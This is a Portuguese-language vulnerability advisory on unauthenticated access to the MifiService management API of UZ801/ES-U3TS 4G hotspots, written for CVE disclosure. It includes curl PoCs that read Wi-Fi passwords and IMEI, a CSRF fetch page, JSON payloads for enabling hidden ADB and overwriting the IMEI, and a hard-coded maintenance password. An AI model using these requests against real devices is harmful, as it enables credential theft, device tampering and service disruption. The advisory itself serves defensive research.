
Advisory de segurança detalhando controle de acesso quebrado na API web MifiService do UZ801/ES-U3TS, permitindo extração de dados não autenticada, modificação de configuração e reinicialização do dispositivo. Inclui PoCs e mitigações.
Aviso de segurança e notas técnicas sobre um problema de controle de acesso quebrado na API de gerenciamento web embarcada exposta por MifiService.apk na plataforma OEM / white-label UZ801_v2.1 de Wi-Fi móvel 4G LTE, também observada comercializada como ES-U3TS.
Este repositório tem como objetivo apoiar a divulgação coordenada e a atribuição de CVE. Ele se concentra em evidências técnicas reproduzíveis e não armamentizadas.
O dispositivo afetado expõe um endpoint de gerenciamento HTTP baseado em Jetty em:
http://192.168.100.1/ajax
O despachante de requisições do backend é implementado em:
com.mifiservice.server.AjaxSevlet
Embora a interface web apresente uma página de login, o backend não impõe uma sessão autenticada válida no lado do servidor para a maioria das funções de gerenciamento. Como resultado, um atacante na rede adjacente pode invocar diretamente operações sensíveis de funcNo sem autenticação.
O impacto verificado inclui:
Funções adicionais de alto risco foram confirmadas por análise estática, incluindo:
O hardware testado parece pertencer a uma família de dispositivos OEM / white-label. O fornecedor original exato de desenvolvimento é atualmente desconhecido, e nenhum contato de segurança confiável do fornecedor foi identificado até o momento.
Este aviso, portanto, usa a seguinte nomenclatura de produto:
UZ801_v2.1ES-U3TSUZ801-V3.4.3MifiService.apkcom.mifiservice.helloSe marcas ou revendedores adicionais forem encontrados distribuindo o mesmo firmware, APK, ativos web e comportamento de funcNo, eles devem ser tratados como variantes provavelmente afetadas do mesmo código-base.
/ajaxMifiService.apkcom.mifiservice.server.AjaxSevletEste não é principalmente um problema de credenciais padrão.
A causa raiz é o controle de acesso quebrado na API do backend:
Origin está presenteReferer está presenteA função de login existe, mas não fornece limites de autorização significativos para a maior parte da API de gerenciamento.
Vetor de ataque primário:
Vetor de ataque secundário:
Este não é um ataque remoto exposto à internet por padrão. O atacante deve:
192.168.100.1, ouTodas as descobertas abaixo estão incluídas como funcionalidade afetada do mesmo problema de controle de acesso quebrado.
Quando relevante, cada item é explicitamente marcado como:
Validado ao vivoConfirmado por análise estáticaEssa distinção é preservada para precisão. Funcionalidades de alto risco não são rotuladas erroneamente como testadas ao vivo quando não foram intencionalmente executadas em hardware público.
| funcNo | Descrição | Status | Notas |
|---|
No momento da redação, o dispositivo parece ser vendido por meio de canais OEM / revendedores com marca inconsistente ou ausente, e nenhum contato confiável do fornecedor de desenvolvimento original foi estabelecido.
Os exemplos abaixo são intencionalmente limitados a validação somente leitura ou de baixo impacto. Eles são incluídos para demonstrar a vulnerabilidade sem fornecer um fluxo de trabalho de exploração armamentizado.
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1002}' \
http://192.168.100.1/ajax
Comportamento esperado:
ssidpwd em texto clarocurl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1029}' \
http://192.168.100.1/ajax
Comportamento esperado:
imeifwversionLer o idioma atual:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1030}' \
http://192.168.100.1/ajax
Definir idioma:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1031,"Language":"Chinese"}' \
http://192.168.100.1/ajax
Restaure o valor original depois.
Este endpoint não impõe estado de sessão nem validação de Origin / Referer. Portanto, o navegador de uma vítima conectada pode ser abusado para enviar requisições em segundo plano.
Página mínima de demonstração:
<!doctype html>
<meta charset="utf-8">
<script>
fetch("http://192.168.100.1/ajax", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({funcNo: 1002})
});
</script>
Este exemplo é intencionalmente limitado a um número de função somente leitura. Não o implante contra usuários ou dispositivos de produção.
Os seguintes formatos JSON são documentados apenas para análise defensiva e triagem. Eles não são acompanhados de etapas de execução aqui.
2001 - ativar interfaces de depuração ocultas{"funcNo":2001}
Comportamento observado no código:
setprop persist.sys.usb.config rndis,serial_smd,diag,adbsync2004 - caminho de sobrescrita de IMEI{"funcNo":2004,"imei":"<redacted-test-value>"}
Comportamento observado no código:
AT+WRIMEI=<value>Nenhum teste ao vivo público é incluído aqui devido a preocupações legais, de conformidade e de integridade do dispositivo.
1002{
"results": [
{
"dns1": "8.8.8.8",
"ssid": "4G-UFI-8E1",
"dns2": "8.8.8.8",
"mask": "255.255.255.0",
"pwd": "1234567890",
"wlan_ip": "192.168.100.1",
"IP": "192.168.100.1"
}
],
"error_info": "none",
"flag": "1"
}
1029{
"results": [
{
"manufacture": "Qualcomm Technology",
"dbm": "",
"fwversion": "V3.4.3",
"imei": "863993064154463"
}
],
"error_info": "none",
"flag": "1"
}
Este problema é um forte candidato a CVE porque:
Classificação sugerida:
CWE-306 Ausência de Autenticação para Função CríticaCWE-862 Ausência de AutorizaçãoCVSS sugerido:
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2026-05-112026-05-122026-05-122026-05-12funcNo sem autenticaçãoOrigin e RefererEste repositório é destinado a pesquisa defensiva, divulgação de vulnerabilidades e coordenação. Os exemplos públicos são intencionalmente limitados a validação de baixo risco. Funcionalidades de alto risco são documentadas apenas na medida necessária para remediação e triagem de CVE.
| funcNo | Descrição | Status | Notas |
|---|
1002 | Ler SSID, IP do dispositivo, DNS, senha do Wi-Fi | Validado ao vivo | Retorna a senha do Wi-Fi em texto claro |
1009 | Ler modo de criptografia e senha do Wi-Fi | Validado ao vivo | Retorna a senha do Wi-Fi em texto claro |
1011 | Ler faixa de DHCP, DNS, lista de clientes | Validado ao vivo | Útil para reconhecimento local |
1015 | Ler status do SIM | Validado ao vivo | Retorna o estado do SIM |
1029 | Ler IMEI, firmware, fabricante, informações de sinal | Validado ao vivo | Retorna identidade sensível do dispositivo |
1052 | Ler modo de filtro MAC e entradas configuradas | Validado ao vivo | Vaza política e slots configurados |
2002 | Ler slot SIM ativo | Validado ao vivo | Expõe estado de execução |
| funcNo | Descrição | Status | Notas |
|---|
1004 | Alterar modo de conexão | Confirmado estaticamente | Nenhuma imposição de sessão observada |
1005 | Alterar modo de rede preferido | Confirmado estaticamente | Alto impacto operacional |
1007 | Alterar SSID / contagem máxima de estações | Confirmado estaticamente | Persiste configuração e reinicia a lógica do AP |
1010 | Alterar modo de criptografia / senha do Wi-Fi | Confirmado estaticamente | Alto impacto de confidencialidade |
1012 | Alterar configurações relacionadas a DHCP/DNS | Confirmado estaticamente | Adulteração da rede local |
1016/1017/1018 | Ler / definir / alternar perfil APN | Confirmado estaticamente | Modificação do comportamento WAN |
1031 | Alterar idioma e persistir | Validado ao vivo | Usado como prova de baixo risco de acesso de escrita |
1053/1054/1055 | Alterar comportamento e entradas do filtro MAC | Confirmado estaticamente | Adulteração do controle de acesso à rede |
| funcNo | Descrição | Status | Notas |
|---|
1013 | Reiniciar dispositivo | Validado ao vivo | DoS / interrupção de serviço |
1014 | Redefinir configuração do aplicativo/rede e reiniciar | Validado ao vivo | Não é uma limpeza completa dos dados do usuário Android |
2000 | Reiniciar para o bootloader | Validado ao vivo | Alto impacto operacional |
2001 | Ativar configuração USB ADB/Diag oculta e reiniciar | Confirmado estaticamente | Caminho de manutenção perigoso |
2003 | Caminho de senha de manutenção oculta | Confirmado estaticamente | Usa admin8888 codificado; comportamento parece parcial / residual |
2004 | Sobrescrever IMEI | Confirmado estaticamente | Chama caminho de comando AT; não executado publicamente |